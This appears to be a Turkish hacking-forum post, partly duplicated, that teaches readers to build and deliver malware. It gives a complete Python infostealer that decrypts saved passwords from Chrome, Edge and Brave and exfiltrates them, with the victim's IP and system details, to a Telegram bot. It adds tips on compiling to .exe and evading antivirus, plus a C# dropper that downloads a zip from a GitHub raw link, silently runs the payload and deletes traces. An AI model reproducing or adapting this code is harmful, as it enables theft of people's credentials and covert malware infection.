= Merhabalar, bugün size iki farklı konu anlatıcam ilk olarak bir kişinin kullandığı tarayıcıdaki kayıtlı kullanıcı adı ve şifrelerini alacağız. Size kodun biraz mantığından bahsetmek istiyorum. Kod, kişinin kullandığı Brave, Edge ve Chrome tarayıcılarında açılmış tüm profilleri tarayarak kayıtlı verileri alır ve aldığı bilgileri Telegram botuna aktarır. İsterseniz koda geçelim.
Virustotelde taratmayin lutfen
Ve işte Telegram'a gönderilen veriler

Gördüğünüz gibi, kod bu şekilde. Unutmayın, bot token ve chat ID'nizi de eklemelisiniz. Tabii ki her şey bu kadar değil. Eğer kurbana bu şekilde gönderirseniz, işlem çalışmayacaktır. Kodu PyInstaller kullanarak .exe'ye çevirebilirsiniz. İşte bu da Antivirüs sonuçları.
Kleenscan.com
2) İkinci kısımda, otomatik bir link oluşturup kurban linke gittiğinde bizim exe dosyamız indirilecek. Tabii bu işlem için bir koda ihtiyacımız var. Mantık şu şekilde: Kodu verdiğimiz linke gidip zip dosyasını indirecek ve içinde daha önce hazırladığımız .exe dosyasını çıkarıp çalıştıracak. İşlem bitince her şeyi silecek. Bu kadar basit. Şimdi koda geçelim.
=) Koda geçmeden önce, linki nasıl oluşturacağımızı önce anlatayım.
"Ziplediğimiz dosyayı GitHub'a yükleyin, ancak unutmayın, dosya public olmalı ve boyutu 25 MB'yi geçmemeli. Projeye dosyayı yükledikten sonra, projeye girip 'RAW' kısmındaki URL'yi kopyalayacaksınız. İşte, otomatik indirme linki hazır
şimdi sıra koddaa
kodun çalışma şekli *
Umarım beğenmissinizdi
Anlatacaklarım bu kadar. İnşallah yararlı bir konu olmuştur. Eğer iki kodda da bir eksiklik veya yanlış varsa, lütfen bilgilendiriniz. Ayrıca, eklenebilecek özellikler ve eleştirileriniz hakkında görüşlerinizi yazarsanız sevinirim.
Virustotelde taratmayin lutfen
Python:
import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
import requests
import io
import platform
import datetime
def encryption_key(browser):
try:
if browser == "Chrome":
local_state_yolu = os.path.join(os.environ["USERPROFILE"],
"AppData", "Local", "Google", "Chrome",
"User Data", "Local State")
elif browser == "Edge":
local_state_yolu = os.path.join(os.environ["USERPROFILE"],
"AppData", "Local", "Microsoft", "Edge",
"User Data", "Local State")
elif browser == "Brave":
local_state_yolu = os.path.join(os.environ["USERPROFILE"],
"AppData", "Local", "BraveSoftware", "Brave-Browser",
"User Data", "Local State")
with open(local_state_yolu, "r", encoding="utf-8") as f:
local_state = json.load(f)
key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
key = key[5:]
return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
except FileNotFoundError:
print(f"{browser} local state path not found: {local_state_yolu}")
return None
def decrypt_password(password, key):
try:
iv = password[3:15]
password = password[15:]
cipher = AES.new(key, AES.MODE_GCM, iv)
return cipher.decrypt(password)[:-16].decode()
except Exception:
try:
return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
except Exception:
return ""
def send_telegram_document(bot_token, chat_id, document_file, filename="browser_data.json"):
url = f"https://api.telegram.org/bot{bot_token}/sendDocument"
files = {'document': (filename, document_file)}
params = {
"chat_id": chat_id,
}
try:
response = requests.post(url, params=params, files=files)
response.raise_for_status()
print("")
except requests.exceptions.RequestException as e:
print(f"")
def send_telegram_message(bot_token, chat_id, text):
url = f"https://api.telegram.org/bot{bot_token}/sendMessage"
data = {"chat_id": chat_id, "text": text}
try:
response = requests.post(url, data=data)
response.raise_for_status()
print("")
except requests.exceptions.RequestException as e:
print(f"")
def get_system_info():
system_name = platform.node()
os_name = platform.system()
os_version = platform.version()
date_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
try:
ip_address = requests.get("https://api.ipify.org").text
except Exception:
ip_address = "Unavailable"
info = (
f"🖥️ Sistem Bilgileri:\n"
f"🔹 Sistem Adı: {system_name}\n"
f"🛠️ İşletim Sistemi: {os_name}\n"
f"📦 Sürüm: {os_version}\n"
f"⏰ Tarih ve Saat: {date_time}\n"
f"🌐 IP Adresi: {ip_address}"
)
return info
def fetch_credentials(profile_path, key):
db_path = os.path.join(profile_path, "Login Data")
if not os.path.exists(db_path):
return []
filename = "ChromeData.db"
shutil.copyfile(db_path, filename)
db = sqlite3.connect(filename)
cursor = db.cursor()
cursor.execute(
"SELECT origin_url, action_url, username_value, password_value, date_created, date_last_used FROM logins ORDER BY date_created"
)
credentials = []
for row in cursor.fetchall():
origin_url = row[0]
action_url = row[1]
username = row[2]
password = decrypt_password(row[3], key)
if username or password:
credentials.append({
"Origin URL": origin_url,
"Action URL": action_url,
"Username": username,
"Password": password
})
cursor.close()
db.close()
try:
os.remove(filename)
except Exception:
pass
return credentials
def main():
bot_token = 'unutmayın'
chat_id = 'unutmayın'
browsers = ["Chrome", "Edge", "Brave"]
all_data = []
for browser in browsers:
key = encryption_key(browser)
if key is None:
continue
if browser == "Chrome":
user_data_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data")
elif browser == "Edge":
user_data_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Microsoft", "Edge", "User Data")
elif browser == "Brave":
user_data_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "BraveSoftware", "Brave-Browser", "User Data")
profiles = [os.path.join(user_data_path, p) for p in os.listdir(user_data_path)
if os.path.isdir(os.path.join(user_data_path, p)) and (p == "Default" or p.startswith("Profile"))]
browser_data = {"Browser": browser, "Profiles": []}
for profile in profiles:
profile_name = os.path.basename(profile)
credentials = fetch_credentials(profile, key)
profile_data = {
"Profile": profile_name,
"Credentials": credentials
}
browser_data["Profiles"].append(profile_data)
all_data.append(browser_data)
if all_data:
system_info = get_system_info()
send_telegram_message(bot_token, chat_id, system_info)
json_data = json.dumps(all_data, indent=4)
bytes_io = io.BytesIO(json_data.encode('utf-8'))
send_telegram_document(bot_token, chat_id, bytes_io)
if __name__ == "__main__":
main()
Ve işte Telegram'a gönderilen veriler

Gördüğünüz gibi, kod bu şekilde. Unutmayın, bot token ve chat ID'nizi de eklemelisiniz. Tabii ki her şey bu kadar değil. Eğer kurbana bu şekilde gönderirseniz, işlem çalışmayacaktır. Kodu PyInstaller kullanarak .exe'ye çevirebilirsiniz. İşte bu da Antivirüs sonuçları.
Kleenscan.com
2) İkinci kısımda, otomatik bir link oluşturup kurban linke gittiğinde bizim exe dosyamız indirilecek. Tabii bu işlem için bir koda ihtiyacımız var. Mantık şu şekilde: Kodu verdiğimiz linke gidip zip dosyasını indirecek ve içinde daha önce hazırladığımız .exe dosyasını çıkarıp çalıştıracak. İşlem bitince her şeyi silecek. Bu kadar basit. Şimdi koda geçelim.
=) Koda geçmeden önce, linki nasıl oluşturacağımızı önce anlatayım.
"Ziplediğimiz dosyayı GitHub'a yükleyin, ancak unutmayın, dosya public olmalı ve boyutu 25 MB'yi geçmemeli. Projeye dosyayı yükledikten sonra, projeye girip 'RAW' kısmındaki URL'yi kopyalayacaksınız. İşte, otomatik indirme linki hazır
şimdi sıra koddaa
C#:
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Threading;
class Program
{
static void Main()
{
string zipUrl = "aldıgını url";
string zipFileName = "zipin ismi";
string exeFileName = "exenın ısmı";
string appDataPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "MyAppFolder");
if (!Directory.Exists(appDataPath))
{
Directory.CreateDirectory(appDataPath);
}
string zipPath = Path.Combine(appDataPath, zipFileName);
string exePath = Path.Combine(appDataPath, exeFileName);
try
{
new WebClient().DownloadFile(zipUrl, zipPath);
Console.WriteLine("ZIP dosyası indirildi.");
Process.Start(new ProcessStartInfo("powershell", $"Expand-Archive -Path \"{zipPath}\" -DestinationPath \"{appDataPath}\" -Force")
{
CreateNoWindow = true,
UseShellExecute = false
}).WaitForExit();
Console.WriteLine("ZIP içinndeki dosyalar ayıklandı.");
if (File.Exists(exePath))
{
Process.Start(exePath);
Console.WriteLine("exe dosyası çalıştırıldı.");
}
else
{
Console.WriteLine("EXE doyası bulunamadı");
}
Thread.Sleep(7000);
File.Delete(zipPath);
File.Delete(exePath);
Console.WriteLine("Dosyalar kalıcı olarak silindi.");
}
catch (Exception ex)
{
Console.WriteLine("Hata: " + ex.Message);
}
}
}
kodun çalışma şekli *
- Zip dosyasını indirir.
- Zip dosyasını çıkarır.
- Çıkartılan .exe dosyasını çalıştırır.
- Bir süre bekledikten sonra dosyaları siler.
Umarım beğenmissinizdi
Anlatacaklarım bu kadar. İnşallah yararlı bir konu olmuştur. Eğer iki kodda da bir eksiklik veya yanlış varsa, lütfen bilgilendiriniz. Ayrıca, eklenebilecek özellikler ve eleştirileriniz hakkında görüşlerinizi yazarsanız sevinirim.
Son düzenleme:


